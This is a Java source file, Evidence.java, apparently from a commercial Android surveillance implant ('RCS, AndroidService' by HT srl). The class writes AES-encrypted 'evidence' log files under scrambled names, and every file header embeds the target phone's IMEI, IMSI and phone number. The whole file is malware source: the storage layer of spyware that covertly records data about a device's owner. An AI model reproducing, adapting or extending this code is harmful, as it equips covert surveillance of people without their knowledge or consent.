/* *******************************************
 * Copyright (c) 2011
 * HT srl,   All rights reserved.
 * Project      : RCS, AndroidService
 * File         : Evidence.java
 * Created      : Apr 9, 2011
 * Author		: zeno
 * *******************************************/

package com.android.dvci.evidence;

import java.util.ArrayList;
import java.util.Date;

import com.android.dvci.Device;
import com.android.dvci.auto.Cfg;
import com.android.dvci.conf.Configuration;
import com.android.dvci.crypto.Encryption;
import com.android.dvci.crypto.Keys;
import com.android.dvci.file.AutoFile;
import com.android.dvci.file.Path;
import com.android.dvci.util.ByteArray;
import com.android.dvci.util.Check;
import com.android.dvci.util.DataBuffer;
import com.android.dvci.util.DateTime;
import com.android.dvci.util.WChar;

/**
 * The Class Evidence (formerly known as Log.)
 */
final class Evidence {

	/** The Constant EVIDENCE_VERSION_01. */
	private static final int E_VERSION_01 = 2008121901;

	/** The Constant TAG. */
	private static final String TAG = "Evidence"; //$NON-NLS-1$
	/** The first space. */
	boolean firstSpace = true;

	/** The enough space. */
	boolean enoughSpace = true;

	/** The timestamp. */
	Date timestamp;

	/** The log name. */
	String logName;

	/** The evidence type. */
	int evidenceType;

	/** The file name. */
	String fileName;

	/** The fconn. */
	AutoFile fconn = null;

	// DataOutputStream os = null;
	/** The encryption. */
	Encryption encryption;

	/** The evidence collector. */
	EvidenceCollector evidenceCollector;

	/** The evidence description. */
	EvidenceDescription evidenceDescription;

	/** The device. */
	Device device;

	/** The type evidence id. */
	int typeEvidenceId;

	/** The progressive. */
	int progressive;

	/** The aes key. */
	private byte[] aesKey;

	/** The enc data. */
	private byte[] encData;

	private byte[] lastBlock;

	/**
	 * Instantiates a new evidence.
	 */
	private Evidence() {
		evidenceCollector = EvidenceCollector.self();
		device = Device.self();

		progressive = -1;
		timestamp = new Date();

	}

	/**
	 * Instantiates a new log.
	 * 
	 * @param typeEvidenceId
	 *            the type evidence id
	 * @param aesKey
	 *            the aes key
	 */
	public Evidence(final int typeEvidenceId, final byte[] aesKey) {
		this();
		if (Cfg.DEBUG) {
			Check.requires(aesKey != null, "aesKey null"); //$NON-NLS-1$
		}
		// agent = agent_;
		this.typeEvidenceId = typeEvidenceId;
		this.aesKey = aesKey;

		encryption = new Encryption(aesKey);
		lastBlock = new byte[encryption.getBlockSize()];

		// if(Cfg.DEBUG) Check.ensures(agent != null, "createLog: agent null"); //$NON-NLS-1$
		if (Cfg.DEBUG) {
			Check.ensures(encryption != null, "encryption null"); //$NON-NLS-1$
		}
	}

	/**
	 * Instantiates a new evidence.
	 * 
	 * @param typeEvidenceId
	 *            the type evidence id
	 */
	public Evidence(final int typeEvidenceId) {
		this(typeEvidenceId, Keys.self().getAesKey());
	}

	/**
	 * Enough space.
	 * 
	 * @return true, if successful
	 */
	private boolean enoughSpace() {
		long free = 0;

		free = Path.freeSpace();

		if (free < Configuration.MIN_AVAILABLE_SIZE) {
			if (firstSpace) {
				firstSpace = false;

				if (Cfg.DEBUG) {
					Check.log(TAG + " FATAL: not enough space. Free : " + free);//$NON-NLS-1$
				}
			}
			return false;
		} else {
			return true;
		}
	}

	/**
	 * Chiude il file di log. Torna TRUE se il file e' stato chiuso con
	 * successo, FALSE altrimenti. Se bRemove e' impostato a TRUE il file viene
	 * anche cancellato da disco e rimosso dalla coda. Questa funzione NON va
	 * chiamata per i markup perche' la WriteMarkup() e la ReadMarkup() chiudono
	 * automaticamente l'handle.
	 * 
	 * @return true, if successful
	 */
	public synchronized boolean close() {
		boolean ret = false;

		if (fconn != null && fconn.exists()) {
			if (Cfg.DEBUG) {
				// Check.log(TAG + " (close): " +
				// EvidenceCollector.decryptName(fconn.getName()));
			}
			ret = fconn.dropExtension(EvidenceCollector.LOG_TMP);
			if (!ret) {
				if (Cfg.DEBUG) {
					Check.log(TAG + " ERROR (close): cannot dropExtension");
				}
			}
		} else {
			if (Cfg.DEBUG) {
				Check.log(TAG + " (close): fconn == null || !fconn.exists()");
			}
		}

		if (Cfg.DEMO) {
			// Beep.bip();
		}

		encData = null;
		fconn = null;
		return ret;
	}

	/**
	 * Crea un'evidenza con tipo standard.
	 * 
	 * @param additionalData
	 *            the additional data
	 * @return true, if successful
	 */
	public synchronized boolean createEvidence(final byte[] additionalData) {
		return createEvidence(additionalData, typeEvidenceId);
	}

	/**
	 * Questa funzione crea un file di log e lascia l'handle aperto. Il file
	 * viene creato con un nome casuale, la chiamata scrive l'header nel file e
	 * poi i dati addizionali se ce ne sono. LogType e' il tipo di log che
	 * stiamo scrivendo, pAdditionalData e' un puntatore agli eventuali
	 * additional data e uAdditionalLen e la lunghezza dei dati addizionali da
	 * scrivere nell'header. Il parametro facoltativo bStoreToMMC se settato a
	 * TRUE fa in modo che il log venga salvato nella prima MMC disponibile, se
	 * non c'e' la chiama fallisce. La funzione torna TRUE se va a buon fine,
	 * FALSE altrimenti.
	 * 
	 * @param additionalData
	 *            the additional data
	 * @param evidenceType
	 *            the log type
	 * @return true, if successful
	 */
	public synchronized boolean createEvidence(final byte[] additionalData, final int evidenceType) {

		this.typeEvidenceId = evidenceType;
		if (Cfg.DEBUG) {
			Check.requires(fconn == null, "createLog: not previously closed"); //$NON-NLS-1$
		}
		timestamp = new Date();

		int additionalLen = 0;

		if (additionalData != null) {
			additionalLen = additionalData.length;
		}

		enoughSpace = enoughSpace();
		if (!enoughSpace) {
			if (Cfg.DEBUG) {
				Check.log(TAG + " createEvidence, no space");//$NON-NLS-1$
			}
			return false;
		}

		final Name name = evidenceCollector.makeNewName(this, EvidenceType.getMemo(evidenceType));

		progressive = name.progressive;

		final String dir = name.basePath + name.blockDir + "/"; //$NON-NLS-1$
		final boolean ret = Path.createDirectory(dir);

		if (!ret) {
			if (Cfg.DEBUG) {
				Check.log(TAG + " Error: Dir not created: " + dir);//$NON-NLS-1$
			}
			return false;
		}

		fileName = dir + name.encName + EvidenceCollector.LOG_TMP;
		if (Cfg.DEBUG) {
			Check.asserts(fileName != null, "null fileName"); //$NON-NLS-1$
		}
		// if(Cfg.DEBUG)
		// Check.asserts(!fileName.endsWith(EvidenceCollector.LOG_TMP), //$NON-NLS-1$
		// "file not scrambled");
		// if(Cfg.DEBUG) Check.asserts(!fileName.endsWith("MOB"), //$NON-NLS-1$
		// "file not scrambled");
		try {
			fconn = new AutoFile(fileName);

			if (fconn.exists()) {
				close();
				if (Cfg.DEBUG) {
					Check.log(TAG + " FATAL: It should not exist:" + fileName);//$NON-NLS-1$
				}
				return false;
			}
			if (Cfg.DEBUG) {
				//Check.log(TAG + " Created " + evidenceType + " : " + name.fileName);//$NON-NLS-1$ //$NON-NLS-2$
			}
			final byte[] plainBuffer = makeDescription(additionalData, evidenceType);
			if (Cfg.DEBUG) {
				Check.asserts(plainBuffer.length >= 32 + additionalLen, "Short plainBuffer"); //$NON-NLS-1$
			}

			final byte[] encBuffer = encryption.encryptData(plainBuffer);
			if (Cfg.DEBUG) {
				Check.asserts(encBuffer.length == encryption.getNextMultiple(plainBuffer.length), "Wrong encBuffer"); //$NON-NLS-1$
			}
			// scriviamo la dimensione dell'header paddato
			fconn.write(ByteArray.intToByteArray(plainBuffer.length));
			// scrittura dell'header cifrato
			fconn.append(encBuffer);
			if (Cfg.DEBUG) {
				Check.asserts(fconn.getSize() == encBuffer.length + 4, "Wrong filesize"); //$NON-NLS-1$
				// if(AutoConfig.DEBUG) Check.log( TAG  ;//$NON-NLS-1$
				// " additionalData.length: "
				// +
				// plainBuffer.length);
				// if(AutoConfig.DEBUG) Check.log( TAG + " encBuffer.length: "  ;//$NON-NLS-1$
				// encBuffer.length);
			}
		} catch (final Exception ex) {
			if (Cfg.EXCEPTION) {
				Check.log(ex);
			}

			if (Cfg.DEBUG) {
				Check.log(TAG + " Error: file: " + name.fileName + " ex:" + ex);//$NON-NLS-1$ //$NON-NLS-2$
			}
			return false;
		}

		return true;
	}

	// pubblico solo per fare i test
	/**
	 * Make description.
	 * 
	 * @param additionalData
	 *            the additional data
	 * @param evidenceType
	 *            the log type
	 * @return the byte[]
	 */
	public byte[] makeDescription(final byte[] additionalData, final int evidenceType) {

		if (timestamp == null) {
			timestamp = new Date();
		}

		int additionalLen = 0;

		if (additionalData != null) {
			additionalLen = additionalData.length;
		}

		final DateTime datetime = new DateTime();

		if (Cfg.DEBUG) {
			final DateTime dt = new DateTime(datetime.getDate());
			boolean hitest = dt.hiDateTime() == datetime.hiDateTime();
			boolean lowtest = dt.lowDateTime() == datetime.lowDateTime();
			//Check.log(dt + " ticks: " + dt.getTicks());
			Check.asserts(hitest, "hi test");
			Check.asserts(lowtest, "low test");
		}

		evidenceDescription = new EvidenceDescription();
		evidenceDescription.version = E_VERSION_01;
		evidenceDescription.logType = evidenceType;
		evidenceDescription.hTimeStamp = datetime.hiDateTime();
		evidenceDescription.lTimeStamp = datetime.lowDateTime();
		evidenceDescription.additionalData = additionalLen;
		evidenceDescription.deviceIdLen = WChar.getBytes(device.getImei()).length;
		evidenceDescription.userIdLen = WChar.getBytes(device.getImsi()).length;
		evidenceDescription.sourceIdLen = WChar.getBytes(device.getPhoneNumber()).length;

		final byte[] baseHeader = evidenceDescription.getBytes();
		if (Cfg.DEBUG) {
			Check.asserts(baseHeader.length == evidenceDescription.length, "Wrong log len"); //$NON-NLS-1$
		}
		final int headerLen = baseHeader.length + evidenceDescription.additionalData + evidenceDescription.deviceIdLen
				+ evidenceDescription.userIdLen + evidenceDescription.sourceIdLen;
		final byte[] plainBuffer = new byte[encryption.getNextMultiple(headerLen)];

		final DataBuffer databuffer = new DataBuffer(plainBuffer, 0, plainBuffer.length);
		databuffer.write(baseHeader);
		databuffer.write(WChar.getBytes(device.getImei()));
		databuffer.write(WChar.getBytes(device.getImsi()));
		databuffer.write(WChar.getBytes(device.getPhoneNumber()));

		if (additionalLen > 0) {
			databuffer.write(additionalData);
		}

		return plainBuffer;
	}

	/**
	 * Write evidence.
	 * 
	 * @param data
	 *            the data
	 * @return true, if successful
	 */
	public boolean writeEvidence(final byte[] data) {
		return writeEvidence(data, 0, data.length);
	}

	/**
	 * Questa funzione prende i byte puntati da pByte, li cifra e li scrive nel
	 * file di log creato con CreateLog(). La funzione torna TRUE se va a buon
	 * fine, FALSE altrimenti.
	 * 
	 * @param data
	 *            the data
	 * @param offset
	 *            the offset
	 * @return true, if successful
	 */
	public synchronized boolean writeEvidence(final byte[] data, final int offset, int len) {
		if (Cfg.DEBUG) {
			// Check.log(TAG + " (writeEvidence) len: " + data.length +
			// " offset: " + offset);
		}

		if (!enoughSpace) {
			return false;
		}

		if (offset >= data.length) {
			return false;
		}

		encData = encryption.encryptData(data, offset, len);

		if (fconn == null) {
			if (Cfg.DEBUG) {
				Check.log(TAG + " Error: fconn null");//$NON-NLS-1$
			}
			return false;
		}

		try {
			fconn.append(ByteArray.intToByteArray(data.length - offset));
			fconn.append(encData);

		} catch (final Exception e) {
			if (Cfg.EXCEPTION) {
				Check.log(e);
			}

			if (Cfg.DEBUG) {
				Check.log(TAG + " Error: Error writing file: " + e);//$NON-NLS-1$
			}
			return false;
		}

		return true;
	}

	/**
	 * Write logs.
	 * 
	 * @param bytelist
	 *            the bytelist
	 * @return true, if successful
	 */
	public boolean writeEvidences(final ArrayList<byte[]> byteList) {

		int totalLen = 0;
		for (byte[] bs : byteList) {
			totalLen += bs.length;
		}

		final int offset = 0;
		final byte[] buffer = new byte[totalLen];
		final DataBuffer databuffer = new DataBuffer(buffer, 0, totalLen);

		for (byte[] bs : byteList) {
			databuffer.write(bs);
		}

		return writeEvidence(buffer);
	}

	public boolean appendEvidence(byte[] data, int offset, int len) {
		if (Cfg.DEBUG) {
			// Check.log(TAG + " (writeEvidence) len: " + data.length +
			// " offset: " + offset);
		}

		if (!enoughSpace) {
			return false;
		}

		if (fconn == null) {
			if (Cfg.DEBUG) {
				Check.log(TAG + " Error: fconn null");//$NON-NLS-1$
			}
			return false;
		}

		try {
			if (data == null) {
				if (Cfg.DEBUG) {
					Check.log(TAG + " (appendEvidence) just the size");
				}
				fconn.append(ByteArray.intToByteArray(len));
			} else {
				if (offset >= data.length) {
					return false;
				}
				if (Cfg.DEBUG) {
					Check.log(TAG + " (appendEvidence) append block");
				}
				encData = encryption.appendData(data, offset, len, lastBlock);
				fconn.append(encData);
			}

		} catch (final Exception e) {
			if (Cfg.EXCEPTION) {
				Check.log(e);
			}

			if (Cfg.DEBUG) {
				Check.log(TAG + " Error: Error writing file: " + e);//$NON-NLS-1$
			}
			return false;
		}

		return true;
	}

	/**
	 * Gets the enc data.
	 * 
	 * @return the enc data
	 */
	public byte[] getEncData() {
		return encData;
	}

	/**
	 * Atomic write once.
	 * 
	 * @param additionalData
	 *            the additional data
	 * @param logType
	 *            the log type
	 * @param content
	 *            the content
	 */
	public void atomicWriteOnce(final byte[] additionalData, final int logType, final byte[] content) {
		if (createEvidence(additionalData, logType)) {
			writeEvidence(content);
			if (Cfg.DEBUG) {
				Check.ensures(getEncData().length % 16 == 0, "wrong len"); //$NON-NLS-1$
			}
			close();
		}
	}

	public void atomicWriteOnce(ArrayList<byte[]> byteList) {
		createEvidence(null);
		writeEvidences(byteList);
		close();
	}

	public void atomicWriteOnce(byte[] content) {
		createEvidence(null);
		writeEvidence(content);
		close();
	}

	@Override
	public String toString() {
		if (Cfg.DEBUG) {
			return "Evidence " + progressive;
		} else {
			return Integer.toString(progressive);
		}
	}

}
